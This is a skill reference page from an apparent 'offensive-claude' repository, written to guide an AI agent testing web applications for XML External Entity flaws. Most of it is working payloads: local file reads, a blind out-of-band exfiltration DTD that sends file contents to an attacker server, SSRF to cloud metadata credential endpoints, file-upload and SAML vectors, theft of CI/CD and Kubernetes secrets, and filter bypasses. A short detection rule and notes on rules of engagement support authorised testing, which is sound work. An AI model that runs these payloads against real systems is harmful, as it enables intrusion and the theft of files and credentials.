Skip to content

hypnguyen1209/offensive-claude / skills/web-pentest

web-pentest

Flagged

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

references/xxe.md

View on GitHub
# XML External Entity (XXE) Injection

XXE (CWE-611) exploits XML parsers that resolve external entities — reading local files, reaching
internal services (SSRF), exfiltrating data OOB, and in some stacks achieving RCE. The attack surface
is wider than `<xml>` input fields: any endpoint that parses XML (SOAP, SAML, SVG/DOCX/XLSX/EPUB
upload, RSS/Atom feeds, CI/CD JUnit reports, Kubernetes admission webhooks) is a candidate. Technique
content seeded from Claude-Red (MIT). ATT&CK T1190 / T1552. CWE-611.

> **Evidence bar:** entity resolution alone is `[POSSIBLE]`. `[CONFIRMED]` needs a **file read** (show
> `/etc/passwd` or a known file's content), an **OOB callback with data** (DNS/HTTP with exfiled
> content), or a **demonstrated SSRF** (internal response read). A `200` from a parser endpoint is not
> impact.

## 1. Basic entity + file read

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
```
If the parsed value is reflected in the response → direct file read. Try `file:///etc/hostname`,
`file:///proc/self/environ`, `C:\Windows\win.ini` (Windows). PHP: `php://filter/convert.base64-encode/
resource=/etc/passwd` for binary-safe exfil.

## 2. Blind / OOB exfiltration (no reflection)

When the parsed entity is NOT reflected — exfil via OOB HTTP/DNS:
```xml
<!-- Step 1: host evil.dtd on your server -->
<!-- evil.dtd: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SERVER/?d=%file;'>">
%eval; %exfil;

<!-- Step 2: send to the target -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd"> %dtd; ]>
<root>anything</root>
```
Your server receives the base64-encoded file content as a query param. Requires the parser to fetch
external DTDs (common default in Java/PHP, rare in modern Python/Ruby).

## 3. Error-based exfiltration

Force a parser error that includes the file content in the error message:
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;
```
The error "file not found: /nonexistent/root:x:0:0:..." leaks the content. Works when OOB HTTP is
blocked but error messages are returned.

## 4. SSRF via XXE

```xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/hostname">
```
Cloud metadata endpoints protected by headers (IMDSv2, GCP `Metadata-Flavor`) block direct XXE GET.
Workarounds:
- **`jar://` (Java):** `<!ENTITY xxe SYSTEM "jar:http://metadata.google.internal!/...">` — some Java
  parsers follow `jar:` URLs and add the required headers internally.
- **Open-redirect chain:** `<!ENTITY xxe SYSTEM "http://app.internal/redirect?url=http://169.254.169.254/...">`.
- Also: `gopher://` for protocol smuggling (Redis, SMTP), `expect://` for command exec (PHP
  `expect://id` if the expect wrapper is enabled — rare).

## 5. XXE via file upload

Any file format that IS or CONTAINS XML is a vector:
- **SVG:** `<svg xmlns="..."><text>&xxe;</text></svg>` — uploaded as an image, parsed server-side.
- **DOCX/XLSX/PPTX:** Office Open XML is a ZIP of XML files. Unzip, inject entity into
  `word/document.xml` or `xl/sharedStrings.xml`, re-zip, upload. Tool: `oxml_xxe`.
- **EPUB:** inject into `content.opf`:
  ```xml
  <?xml version="1.0"?>
  <!DOCTYPE package [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  <package xmlns="http://www.idpf.org/2007/opf"><metadata><dc:title>&xxe;</dc:title></metadata></package>
  ```
- **PDF (rare):** some PDF generators that parse XML (XMP metadata, FDF forms).

## 6. XXE in protocols & frameworks

- **SOAP:** `<soap:Body><foo><![CDATA[<!DOCTYPE doc [ <!ENTITY % dtd SYSTEM "http://YOUR/dtd"> %dtd; ]>]]></foo></soap:Body>`
- **SAML:** inject into `<saml:Issuer>&xxe;</saml:Issuer>` (AuthnRequest), `<saml:AttributeValue>`
  (Response), or before encryption in EncryptedAssertion (SP decrypts and processes the entity).
- **RSS/Atom feeds:** injected via user-submitted feed URLs that the server fetches and parses.

## 7. CI/CD pipeline XXE (modern, high-impact)

XML parsers in CI/CD are often unsandboxed and have access to secrets:
- **JUnit XML reports:** inject XXE into `<testcase>` output → parsed by GitLab CI artifact handler /
  Jenkins JUnit plugin → reads `/var/jenkins_home/secrets/master.key` or
  `/etc/gitlab-runner/config.toml`.
- **Kubernetes admission webhook:** inject XXE in pod annotation XML → exfil
  `/var/run/secrets/kubernetes.io/serviceaccount/token`.
- **Maven POM:** a dependency with a malicious `pom.xml` containing external entities.
- **GitHub Actions:** an XML-parsing action (test reporters, coverage, SARIF) processing attacker-
  controlled XML from a PR.

## 8. Filter bypass

When `<!DOCTYPE` or `<!ENTITY` is blocked:
- **XInclude (no DTD needed):** `<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text"
  href="file:///etc/passwd"/></foo>` — works when the app embeds your input inside an existing XML doc.
- **Case variation:** `<!docTypE foo [ <!ENTity xxe SYSTEM "file:///etc/passwd"> ]>`.
- **URL encoding:** `file:%2F%2F%2Fetc%2Fpasswd`.
- **UTF-16 BOM:** `\xFF\xFE` prefix + UTF-16LE payload — some WAFs only scan UTF-8.
- **Parameter entities:** `<!ENTITY % xxe SYSTEM "..."> %xxe;` (parameter entities in the internal
  subset are a different parse path some filters miss).

## 9. Parser hardening versions (2024-2025)

Modern defaults that BLOCK XXE — if the target runs these versions, XXE is unlikely:
- **libxml2 >= 2.13:** `XML_PARSE_NO_XXE` by default.
- **Python >= 3.13:** standard `xml.*` forbids external entities.
- **Java 22:** `FEATURE_SECURE_PROCESSING` on, `external-general-entities` false by default.
- **.NET 8:** `DtdProcessing = Prohibit` in default templates.
Check the parser version before investing in XXE testing; flag the version in the finding.

## Detection & OPSEC

IOCs: `<!DOCTYPE`/`<!ENTITY`/`SYSTEM` in request bodies, `file://`/`http://` in XML attributes,
outbound HTTP/DNS from the XML parser to attacker infra, requests to `169.254.169.254` from the
parser process.
```yaml
title: XXE Probe in Request Body
logsource: { category: webserver }
detection:
  xxe:
    cs-body|re: '(?i)(<!DOCTYPE|<!ENTITY|SYSTEM\s+["\x27](?:file|http|ftp|php|jar|expect)://)'
  condition: xxe
level: high
```
- OOB exfil requires your server to be reachable from the target — use a scoped, attributable
  collector (not a shared Burp Collaborator instance on a long-running engagement).
- CI/CD XXE can read *secrets* — handle exfiled data per ROE and redact from reports.

## References

- PortSwigger Web Security Academy — XXE.
- OWASP XXE Prevention Cheat Sheet.
- PayloadsAllTheThings XXE section.
- `oxml_xxe` (DOCX/XLSX/PPTX XXE tool).
- libxml2 / Python / Java / .NET changelogs for default-secure parsing.
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall